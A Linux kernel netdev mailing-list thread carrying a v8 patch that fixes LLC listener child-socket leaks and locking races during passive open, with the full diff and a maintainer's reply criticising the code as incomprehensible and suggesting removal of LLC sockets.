    locally visible history carrying the same root-cause fact.
  - Clarify panic_on_oom crash evidence and packetdrill selection.
  - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

Best regards,
Zihan Xi

Zihan Xi (1):
  llc: fix listener child socket leaks before passive open completes

 include/net/llc_conn.h |  15 +-
 net/llc/af_llc.c       |  27 +++-
 net/llc/llc_conn.c     | 353 +++++++++++++++++++++++++++++++++++++++--
 3 files changed, 379 insertions(+), 16 deletions(-)

-- 
2.43.0

[PATCH net v8 1/1] llc: fix listener child socket leaks before passive open completes

[Zihan Xi]

llc_conn_handler() creates and publishes a child whenever a listener
matches a packet. A non-SABME frame never completes the passive open, so
the child remains in the SAP tables, keeps its device reference, and
cannot be returned by accept().

Create children only for SABME commands. Handle the listener's required
DM replies directly, using the packet source address, and do not run the
listener through the connection state machine.

Keep SABME children in the SAP tables during the passive open so that
established lookup continues to select them. Track children until the
connection indication is queued for accept(), and release any child that
fails before then, including direct and backlog failures and listener
close. Keep a listener-owned list of those children so close() can
release PENDING sockets that never reached the accept queue, instead of
relying only on later packets or backlog drain. Release pending children
for redirected packets after the listener leaves TCP_LISTEN or is marked
SOCK_DEAD. If a later redirected frame fails to enqueue on the listener
backlog, drop that frame only; do not tear down the already pending
child.

Do not queue a connection indication on the same socket that produced
it. That skb would make accept() call lock_sock_nested() on the listener
it already holds. Drop the extra QUEUED hold only when it was taken, both
on the accept() abort path and when close() walks leftover children.

Do not nested-lock a child against itself in llc_backlog_rcv(). A
QUEUED handshake skb can later be drained from that child's own
backlog, which already holds the socket lock.

Leftover listener-backlog frames for an incoming child run on that
child. If teardown has already moved it out of service, drop the frame
instead of using the listener's llc->state to drive the child's state
machine. If established lookup still returns that child during the RCU
grace period after unhash, drop the frame instead of running the state
machine with state 0. This is not a generic llc_conn_service bounds
check.

Handshake skbs keep a child socket reference with
skb_set_owner_sk_safe(). skb_set_owner_r() does not hold the socket, so
kfree_skb() on drop, accept-failure, and close paths could race
asynchronous teardown through sock_rfree().

Finish sock_orphan() and the device put before llc_sk_free(). That
helper already sock_put()s, so those steps must not run after its put
and rely only on the extra hold from llc_release_incoming_sock().

The child socket lock is acquired with bottom halves disabled whenever
the cleanup or backlog path runs in process context. Deferred child
teardown does not lock the listener; the child already holds a reference
to it until that work drops it.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v8:
  - Reject a connection indication whose skb->sk is the listener itself
    so accept() cannot lock_sock_nested() the socket it already holds,
    and drop the extra QUEUED reference only when it was taken.
  - Drop the extra QUEUED hold from the incoming_children close walk,
    matching the receive-queue walk.
  - Do not run the connection state machine on a released incoming child
    from the listener backlog; leftover in-service child frames run on
    that child under its lock.
  - Limit out-of-service tests on the receive path to incoming children
    and to a looked-up child already marked out of service. SAP unhash
    is RCU, so drop that later lookup instead of indexing the state
    table with state 0. This is not a generic llc_conn_service bounds
    check.
  - Do not nested-lock a QUEUED child on itself in llc_backlog_rcv().
  - Sort the new locals in llc_release_incoming_children() reverse
    xmas tree.
  - Drop the unused #include <net/llc_c_st.h> from af_llc.c.
  - Keep this as the listener child leak and lifecycle fix only. The
    listen(2) accept-queue bound raised against v7 is independent of the
    leak and is not included here.
  - v7 Link: https://lore.kernel.org/all/cover.1788414881.git.zihanx@nebusec.ai/
 include/net/llc_conn.h |  15 +-
 net/llc/af_llc.c       |  27 +++-
 net/llc/llc_conn.c     | 353 +++++++++++++++++++++++++++++++++++++++--
 3 files changed, 379 insertions(+), 16 deletions(-)

diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index e1a3026967234..4fb5dedd46c4b 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -6,6 +6,7 @@
  * 		 2001, 2002 by Arnaldo Carvalho de Melo <acme@conectiva.com.br>
  */
 #include <linux/timer.h>
+#include <linux/workqueue.h>
 #include <net/llc_if.h>
 #include <net/sock.h>
 #include <linux/llc.h>
@@ -13,6 +14,10 @@
 #define LLC_EVENT                1
 #define LLC_PACKET               2
 
+#define LLC_INCOMING_NONE        0
+#define LLC_INCOMING_PENDING     1
+#define LLC_INCOMING_QUEUED      2
+
 #define LLC2_P_TIME               2
 #define LLC2_ACK_TIME             1
 #define LLC2_REJ_TIME             3
@@ -72,6 +77,11 @@ struct llc_sock {
 					      received and caused sending FRMR.
 					      Used for resending FRMR */
 	u32		    cmsg_flags;
+	atomic_t	    incoming_state;
+	struct sock	    *incoming_listener;
+	struct list_head    incoming_node;
+	struct list_head    incoming_children;
+	struct work_struct incoming_work;
 	struct hlist_node   dev_hash_node;
 };
 
@@ -93,7 +103,10 @@ static __inline__ char llc_backlog_type(struct sk_buff *skb)
 struct sock *llc_sk_alloc(struct net *net, int family, gfp_t priority,
 			  struct proto *prot, int kern);
 void llc_sk_stop_all_timers(struct sock *sk, bool sync);
-void llc_sk_free(struct sock *sk);
+void llc_sk_free(struct sock *sk, bool sync);
+void llc_release_incoming_sock(struct sock *sk);
+bool llc_accept_incoming_sock(struct sock *sk);
+void llc_release_incoming_children(struct sock *sk);
 
 void llc_sk_reset(struct sock *sk);
 
diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
index b0447c33dbf09..eea4c5e4b2c9e 100644
--- a/net/llc/af_llc.c
+++ b/net/llc/af_llc.c
@@ -196,6 +196,7 @@ static int llc_ui_release(struct socket *sock)
 {
 	struct sock *sk = sock->sk;
 	struct llc_sock *llc;
+	bool listener;
 
 	if (unlikely(sk == NULL))
 		goto out;
@@ -206,6 +207,9 @@ static int llc_ui_release(struct socket *sock)
 		llc->laddr.lsap, llc->daddr.lsap);
 	if (!llc_send_disc(sk))
 		llc_ui_wait_for_disc(sk, READ_ONCE(sk->sk_rcvtimeo));
+	listener = sk->sk_state == TCP_LISTEN;
+	if (listener)
+		sock_set_flag(sk, SOCK_DEAD);
 	if (!sock_flag(sk, SOCK_ZAPPED)) {
 		struct llc_sap *sap = llc->sap;
 
@@ -214,16 +218,18 @@ static int llc_ui_release(struct socket *sock)
 		 */
 		llc_sap_hold(sap);
 		llc_sap_remove_socket(llc->sap, sk);
+		llc_release_incoming_children(sk);
 		release_sock(sk);
 		llc_sap_put(sap);
 	} else {
+		llc_release_incoming_children(sk);
 		release_sock(sk);
 	}
 	netdev_put(llc->dev, &llc->dev_tracker);
 	sock_put(sk);
 	sock_orphan(sk);
 	sock->sk = NULL;
-	llc_sk_free(sk);
+	llc_sk_free(sk, true);
 out:
 	return 0;
 }
@@ -718,10 +724,23 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
 		llc_sk(sk)->laddr.lsap);
 	skb = skb_dequeue(&sk->sk_receive_queue);
 	rc = -EINVAL;
-	if (!skb->sk)
+	if (!skb->sk || skb->sk == sk)
 		goto frees;
-	rc = 0;
 	newsk = skb->sk;
+	lock_sock_nested(newsk, SINGLE_DEPTH_NESTING);
+	if (!llc_accept_incoming_sock(newsk)) {
+		int incoming_state =
+			atomic_read(&llc_sk(newsk)->incoming_state);
+
+		if (incoming_state != LLC_INCOMING_NONE)
+			llc_release_incoming_sock(newsk);
+		release_sock(newsk);
+		if (incoming_state == LLC_INCOMING_QUEUED)
+			sock_put(newsk);
+		rc = -ECONNABORTED;
+		goto frees;
+	}
+	rc = 0;
 	/* attach connection to a new socket. */
 	llc_ui_sk_init(newsock, newsk);
 	sock_reset_flag(newsk, SOCK_ZAPPED);
@@ -737,6 +756,8 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
 	sk_acceptq_removed(sk);
 	dprintk("%s: ok success on %02X, client on %02X\n", __func__,
 		llc_sk(sk)->addr.sllc_sap, newllc->daddr.lsap);
+	release_sock(newsk);
+	sock_put(newsk);
 frees:
 	kfree_skb(skb);
 out:
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50f54c..7f9616afbd42f 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
 				       struct sk_buff *ev);
 static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
 							      struct sk_buff *skb);
+static void llc_incoming_sock_work(struct work_struct *work);
 
 /* Offset table on connection states transition diagram */
 static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -87,7 +88,19 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
 		 * Can't be sock_queue_rcv_skb, because we have to leave the
 		 * skb->sk pointing to the newly created struct sock in
 		 * llc_conn_handler. -acme
+		 *
+		 * A connection indication belongs on the listener. If sk and
+		 * skb->sk are the same socket, queueing it would later make
+		 * accept() lock that socket against itself.
 		 */
+		if (sk == skb->sk)
+			break;
+		if (atomic_read(&llc_sk(skb->sk)->incoming_state) ==
+		    LLC_INCOMING_PENDING) {
+			sock_hold(skb->sk);
+			atomic_set(&llc_sk(skb->sk)->incoming_state,
+				   LLC_INCOMING_QUEUED);
+		}
 		skb_get(skb);
 		skb_queue_tail(&sk->sk_receive_queue, skb);
 		sk->sk_state_change(sk);
@@ -765,27 +778,203 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
 	memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
 	memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
 	newllc->dev = dev;
+	newllc->incoming_listener = sk;
+	atomic_set(&newllc->incoming_state, LLC_INCOMING_PENDING);
+	INIT_WORK(&newllc->incoming_work, llc_incoming_sock_work);
+	sock_hold(sk);
 	dev_hold(dev);
 	llc_sap_add_socket(llc->sap, newsk);
+	spin_lock_bh(&llc->sap->sk_lock);
+	list_add_tail(&newllc->incoming_node, &llc->incoming_children);
+	spin_unlock_bh(&llc->sap->sk_lock);
 out:
 	return newsk;
 }
 
+static void llc_incoming_sock_work(struct work_struct *work)
+{
+	struct llc_sock *llc = container_of(work, struct llc_sock,
+					    incoming_work);
+	struct sock *listener = llc->incoming_listener;
+	struct sock *sk = &llc->sk;
+
+	lock_sock(sk);
+	llc_sk_stop_all_timers(sk, false);
+	sock_orphan(sk);
+	release_sock(sk);
+	llc_sk_stop_all_timers(sk, true);
+	dev_put(llc->dev);
+	llc->dev = NULL;
+	llc_sk_free(sk, false);
+	sock_put(sk);
+	sock_put(listener);
+}
+
+void llc_release_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
+	    LLC_INCOMING_NONE)
+		return;
+
+	WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+	spin_lock_bh(&llc->sap->sk_lock);
+	list_del_init(&llc->incoming_node);
+	spin_unlock_bh(&llc->sap->sk_lock);
+	sock_hold(sk);
+	llc_sap_remove_socket(llc->sap, sk);
+	schedule_work(&llc->incoming_work);
+}
+
+bool llc_accept_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	if (atomic_cmpxchg(&llc->incoming_state, LLC_INCOMING_QUEUED,
+			   LLC_INCOMING_NONE) != LLC_INCOMING_QUEUED)
+		return false;
+
+	spin_lock_bh(&llc->sap->sk_lock);
+	list_del_init(&llc->incoming_node);
+	spin_unlock_bh(&llc->sap->sk_lock);
+	sock_put(llc->incoming_listener);
+	return true;
+}
+
+void llc_release_incoming_children(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+	struct sk_buff *skb;
+
+	local_bh_disable();
+	while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
+		struct sock *newsk = skb->sk;
+
+		if (newsk && newsk != sk) {
+			int incoming_state;
+
+			bh_lock_sock_nested(newsk);
+			incoming_state =
+				atomic_read(&llc_sk(newsk)->incoming_state);
+			if (incoming_state != LLC_INCOMING_NONE) {
+				llc_release_incoming_sock(newsk);
+				if (incoming_state == LLC_INCOMING_QUEUED)
+					sock_put(newsk);
+			}
+			bh_unlock_sock(newsk);
+		}
+		kfree_skb(skb);
+	}
+	if (llc->sap) {
+		spin_lock(&llc->sap->sk_lock);
+		while (!list_empty(&llc->incoming_children)) {
+			struct llc_sock *child;
+			int incoming_state;
+			struct sock *newsk;
+
+			child = list_first_entry(&llc->incoming_children,
+						 struct llc_sock,
+						 incoming_node);
+			list_del_init(&child->incoming_node);
+			newsk = &child->sk;
+			sock_hold(newsk);
+			spin_unlock(&llc->sap->sk_lock);
+
+			bh_lock_sock_nested(newsk);
+			incoming_state = atomic_read(&child->incoming_state);
+			if (incoming_state != LLC_INCOMING_NONE)
+				llc_release_incoming_sock(newsk);
+			bh_unlock_sock(newsk);
+			if (incoming_state == LLC_INCOMING_QUEUED)
+				sock_put(newsk);
+			sock_put(newsk);
+			spin_lock(&llc->sap->sk_lock);
+		}
+		spin_unlock(&llc->sap->sk_lock);
+	}
+	local_bh_enable();
+}
+
+/*
+ * This mirrors the ADM-state DM actions, but a listener has no peer
+ * address in llc->daddr yet.
+ */
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+				 struct llc_addr *saddr, u8 f_bit)
+{
+	struct sk_buff *nskb;
+	int rc;
+
+	nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+	if (!nskb)
+		return;
+
+	llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+			    saddr->lsap, LLC_PDU_RSP);
+	llc_pdu_init_as_dm_rsp(nskb, f_bit);
+	rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+	if (unlikely(rc))
+		kfree_skb(nskb);
+	else
+		dev_queue_xmit(nskb);
+}
+
 void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 {
+	struct sock *sk, *newsk = NULL;
+	bool newsk_lookup_ref = false;
 	struct llc_addr saddr, daddr;
-	struct sock *sk;
+	bool newsk_locked = false;
 
 	llc_pdu_decode_sa(skb, saddr.mac);
 	llc_pdu_decode_ssap(skb, &saddr.lsap);
 	llc_pdu_decode_da(skb, daddr.mac);
 	llc_pdu_decode_dsap(skb, &daddr.lsap);
 
+lookup:
 	sk = __llc_lookup(sap, &saddr, &daddr, dev_net(skb->dev));
 	if (!sk)
 		goto drop;
 
+	if (atomic_read(&llc_sk(sk)->incoming_state) ==
+	    LLC_INCOMING_PENDING) {
+		newsk = sk;
+		bh_lock_sock(newsk);
+		if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+		    LLC_INCOMING_PENDING) {
+			bh_unlock_sock(newsk);
+			sock_put(newsk);
+			newsk = NULL;
+			goto lookup;
+		}
+		sk = llc_sk(newsk)->incoming_listener;
+		sock_hold(sk);
+		newsk_lookup_ref = true;
+		bh_unlock_sock(newsk);
+	}
+
 	bh_lock_sock(sk);
+	if (unlikely(sk->sk_state == TCP_LISTEN &&
+		     sock_flag(sk, SOCK_DEAD) &&
+		     !newsk_lookup_ref))
+		goto drop_unlock;
+	if (newsk_lookup_ref) {
+		bh_lock_sock_nested(newsk);
+		newsk_locked = true;
+		if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+		    LLC_INCOMING_PENDING)
+			goto retry_unlock;
+		if (unlikely(sk->sk_state != TCP_LISTEN ||
+			     sock_flag(sk, SOCK_DEAD))) {
+			llc_release_incoming_sock(newsk);
+			goto drop_unlock;
+		}
+	}
+	/* SAP unhash is RCU; a torn-down child may still be looked up. */
+	if (!newsk &&
+	    unlikely(llc_sk(sk)->state < LLC_CONN_STATE_ADM))
+		goto drop_unlock;
 	/*
 	 * This has to be done here and not at the upper layer ->accept
 	 * method because of the way the PROCOM state machine works:
@@ -795,11 +984,31 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * in the newly created struct sock private area. -acme
 	 */
 	if (unlikely(sk->sk_state == TCP_LISTEN)) {
-		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
-							      &saddr, &daddr);
-		if (!newsk)
+		if (!newsk) {
+			if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+				if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+					u8 f_bit;
+
+					llc_pdu_decode_pf_bit(skb, &f_bit);
+					llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
+				} else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+					llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
+				}
+				goto drop_unlock;
+			}
+			newsk = llc_create_incoming_sock(sk, skb->dev, &saddr,
+							 &daddr);
+			if (!newsk)
+				goto drop_unlock;
+			bh_lock_sock_nested(newsk);
+			newsk_locked = true;
+		}
+		if (!skb_set_owner_sk_safe(skb, newsk)) {
+			if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+			    LLC_INCOMING_PENDING)
+				llc_release_incoming_sock(newsk);
 			goto drop_unlock;
-		skb_set_owner_r(skb, newsk);
+		}
 	} else {
 		/*
 		 * Can't be skb_set_owner_r, this will be done at the
@@ -813,18 +1022,45 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		skb->sk = sk;
 		skb->destructor = sock_efree;
 	}
-	if (!sock_owned_by_user(sk))
+	if (newsk &&
+	    unlikely(llc_sk(newsk)->state < LLC_CONN_STATE_ADM)) {
+		if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING)
+			llc_release_incoming_sock(newsk);
+		goto drop_unlock;
+	}
+	if (!sock_owned_by_user(sk)) {
 		llc_conn_rcv(sk, skb);
-	else {
+		if (newsk &&
+		    atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING)
+			llc_release_incoming_sock(newsk);
+	} else {
 		dprintk("%s: adding to backlog...\n", __func__);
 		llc_set_backlog_type(skb, LLC_PACKET);
-		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
+		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
+			if (newsk && !newsk_lookup_ref)
+				llc_release_incoming_sock(newsk);
 			goto drop_unlock;
+		}
 	}
 out:
+	if (newsk_locked)
+		bh_unlock_sock(newsk);
 	bh_unlock_sock(sk);
 	sock_put(sk);
+	if (newsk_lookup_ref)
+		sock_put(newsk);
 	return;
+retry_unlock:
+	bh_unlock_sock(newsk);
+	newsk_locked = false;
+	bh_unlock_sock(sk);
+	sock_put(sk);
+	sock_put(newsk);
+	newsk = NULL;
+	newsk_lookup_ref = false;
+	goto lookup;
 drop:
 	kfree_skb(skb);
 	return;
@@ -852,12 +1088,79 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 {
 	int rc = 0;
 	struct llc_sock *llc = llc_sk(sk);
+	struct sock *newsk = skb->sk;
 
 	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
-		if (likely(llc->state > 1)) /* not closed */
+		if (newsk &&
+		    atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING) {
+			if (newsk != sk) {
+				local_bh_disable();
+				bh_lock_sock_nested(newsk);
+			}
+			if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+			    LLC_INCOMING_PENDING) {
+				if (newsk != sk) {
+					bh_unlock_sock(newsk);
+					local_bh_enable();
+				}
+				goto retry;
+			}
+			if (sock_flag(sk, SOCK_DEAD) ||
+			    sk->sk_state != TCP_LISTEN ||
+			    llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
+				llc_release_incoming_sock(newsk);
+				if (newsk != sk) {
+					bh_unlock_sock(newsk);
+					local_bh_enable();
+				}
+				goto out_kfree_skb;
+			}
 			rc = llc_conn_rcv(sk, skb);
-		else
+			if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+			    LLC_INCOMING_PENDING)
+				llc_release_incoming_sock(newsk);
+			if (newsk != sk) {
+				bh_unlock_sock(newsk);
+				local_bh_enable();
+			}
+		} else if (newsk &&
+			   atomic_read(&llc_sk(newsk)->incoming_state) ==
+			   LLC_INCOMING_QUEUED) {
+			if (newsk != sk) {
+				local_bh_disable();
+				bh_lock_sock_nested(newsk);
+			}
+			if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
+				if (newsk != sk) {
+					bh_unlock_sock(newsk);
+					local_bh_enable();
+				}
+				goto out_kfree_skb;
+			}
+			rc = llc_conn_rcv(newsk, skb);
+			if (newsk != sk) {
+				bh_unlock_sock(newsk);
+				local_bh_enable();
+			}
+		} else if (newsk && newsk != sk) {
+			if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM)
+				goto out_kfree_skb;
+			local_bh_disable();
+			bh_lock_sock_nested(newsk);
+			if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
+				bh_unlock_sock(newsk);
+				local_bh_enable();
+				goto out_kfree_skb;
+			}
+			rc = llc_conn_rcv(newsk, skb);
+			bh_unlock_sock(newsk);
+			local_bh_enable();
+		} else if (likely(llc->state > 1)) {
+			rc = llc_conn_rcv(sk, skb);
+		} else {
 			goto out_kfree_skb;
+		}
 	} else if (llc_backlog_type(skb) == LLC_EVENT) {
 		/* timer expiration event */
 		if (likely(llc->state > 1))  /* not closed */
@@ -870,6 +1173,29 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 	}
 out:
 	return rc;
+retry:
+	if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+	    LLC_INCOMING_QUEUED) {
+		if (newsk != sk) {
+			local_bh_disable();
+			bh_lock_sock_nested(newsk);
+		}
+		if (llc_sk(newsk)->state >= LLC_CONN_STATE_ADM) {
+			rc = llc_conn_rcv(newsk, skb);
+		} else {
+			if (newsk != sk) {
+				bh_unlock_sock(newsk);
+				local_bh_enable();
+			}
+			goto out_kfree_skb;
+		}
+		if (newsk != sk) {
+			bh_unlock_sock(newsk);
+			local_bh_enable();
+		}
+		goto out;
+	}
+	goto out_kfree_skb;
 out_kfree_skb:
 	kfree_skb(skb);
 	goto out;
@@ -906,6 +1232,8 @@ static void llc_sk_init(struct sock *sk)
 	llc->rw = 128; /* rx win size (opt and equal to
 			* tx_win of remote LLC) */
 	skb_queue_head_init(&llc->pdu_unack_q);
+	INIT_LIST_HEAD(&llc->incoming_node);
+	INIT_LIST_HEAD(&llc->incoming_children);
 	sk->sk_backlog_rcv = llc_backlog_rcv;
 }
 
@@ -960,16 +1288,17 @@ void llc_sk_stop_all_timers(struct sock *sk, bool sync)
 /**
  *	llc_sk_free - Frees a LLC socket
  *	@sk: - socket to free
+ *	@sync: whether to synchronously stop timers
  *
  *	Frees a LLC socket
  */
-void llc_sk_free(struct sock *sk)
+void llc_sk_free(struct sock *sk, bool sync)
 {
 	struct llc_sock *llc = llc_sk(sk);
 
 	llc->state = LLC_CONN_OUT_OF_SVC;
 	/* Stop all (possibly) running timers */
-	llc_sk_stop_all_timers(sk, true);
+	llc_sk_stop_all_timers(sk, sync);
 #ifdef DEBUG_LLC_CONN_ALLOC
 	printk(KERN_INFO "%s: unackq=%d, txq=%d\n", __func__,
 		skb_queue_len(&llc->pdu_unack_q),
-- 
2.43.0

Re: [PATCH net v8 1/1] llc: fix listener child socket leaks before passive open completes

[Jakub Kicinski]

On Mon,  7 Sep 2026 03:47:51 +0000 Zihan Xi wrote:
> +			if (atomic_read(&llc_sk(newsk)->incoming_state) ==
> +			    LLC_INCOMING_PENDING)
> +				llc_release_incoming_sock(newsk);
> +			if (newsk != sk) {
> +				bh_unlock_sock(newsk);
> +				local_bh_enable();
> +			}
> +		} else if (newsk &&
> +			   atomic_read(&llc_sk(newsk)->incoming_state) ==
> +			   LLC_INCOMING_QUEUED) {
> +			if (newsk != sk) {
> +				local_bh_disable();
> +				bh_lock_sock_nested(newsk);
> +			}
> +			if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
> +				if (newsk != sk) {
> +					bh_unlock_sock(newsk);
> +					local_bh_enable();
> +				}
> +				goto out_kfree_skb;
> +			}
> +			rc = llc_conn_rcv(newsk, skb);
> +			if (newsk != sk) {
> +				bh_unlock_sock(newsk);
> +				local_bh_enable();
> +			}
> +		} else if (newsk && newsk != sk) {
> +			if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM)
> +				goto out_kfree_skb;
> +			local_bh_disable();
> +			bh_lock_sock_nested(newsk);
> +			if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
> +				bh_unlock_sock(newsk);
> +				local_bh_enable();
> +				goto out_kfree_skb;
> +			}
> +			rc = llc_conn_rcv(newsk, skb);
> +			bh_unlock_sock(newsk);
> +			local_bh_enable();
> +		} else if (likely(llc->state > 1)) {
> +			rc = llc_conn_rcv(sk, skb);

This looks pretty terrible and incomprehensible.
Clashiko has some comments but it runs out token budget trying to make
sense of your code:
https://netdev-ai.bots.linux.dev/sashiko/#/patchset/abc8b115321dbd417b8491d9e51f1988998ff50e.1788707641.git.zihanx@nebusec.ai
Which again, strongly suggests poor code quality.

Please do better, or maybe post a patch to delete the LLC sockets?
There was a person mentioning using them in recent git history
but I emailed them a while back and have not heard back.